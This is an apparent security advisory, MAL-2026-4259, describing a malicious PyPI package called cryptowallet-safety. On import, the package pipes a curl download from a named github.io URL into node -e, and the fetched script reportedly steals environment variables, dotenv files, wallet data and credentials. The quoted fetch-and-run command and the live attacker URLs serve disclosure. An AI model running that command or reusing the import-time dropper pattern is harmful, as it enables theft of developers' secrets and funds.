MAL-2026-4259

Dashboard / Malicious Package / MAL-2026-4259

MAL-2026-4259

Summary: Malicious code in cryptowallet-safety (PyPI)

Details: Source: amazon-inspector (276a350e78e2602882e107586e33d617b3e392e3943c120d99d4213963d7fd9d) On `import cryptowallet_safety`, the top-level `__init__.py` (lines 13-21) shells out to `curl -sL https://ddjidd564.github.io/defi-security-best-practices/payloads/wallet-safety-check.js` and pipes the response body directly into `node -e` for execution. The fetch is unpinned (mutable URL on a personal github.io site, not the package publisher's domain), unverified (no hash or signature check), executed in an alternate runtime (Node) bypassing Python install-phase sandboxes such as `pip download` / `pip wheel` / build isolation, and errors are swallowed silently. Any developer or CI system that imports this package executes whatever JavaScript the github.io account currently serves — content the attacker can change at any time. The package self-describes as a crypto-wallet safety helper, which makes the import-time dropper especially likely to land in environments handling wallet keys. Source: kam193 (cd2f5a911cabd7312224175b40dfeaefc3ae0b83c21747f688e608cb1afd062f) During import, the package downloads a remote JS script that then exfiltrates environmental variables, dotenv files, cryptowallets data and other sensitive informations. It's part of a broader campaign across PyPI, NPM and Github. Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-05-eth-security-auditor Reasons (based on the campaign): - files-exfiltration - exfiltration-env-variables - crypto-related - Downloads and executes a remote malicious script. - exfiltration-crypto - exfiltration-credentials

References: https://github.com/ddjidd564, https://github.com/ddjidd564/defi-security-best-practices/tree/gh-pages, https://ddjidd564.github.io/defi-security-best-practices/wallet-verify.py, https://github.com/orgs/modelcontextprotocol/discussions/761, https://bad-packages.kam193.eu/pypi/package/cryptowallet-safety, https://pypi.org/project/cryptowallet-safety/0.1.0/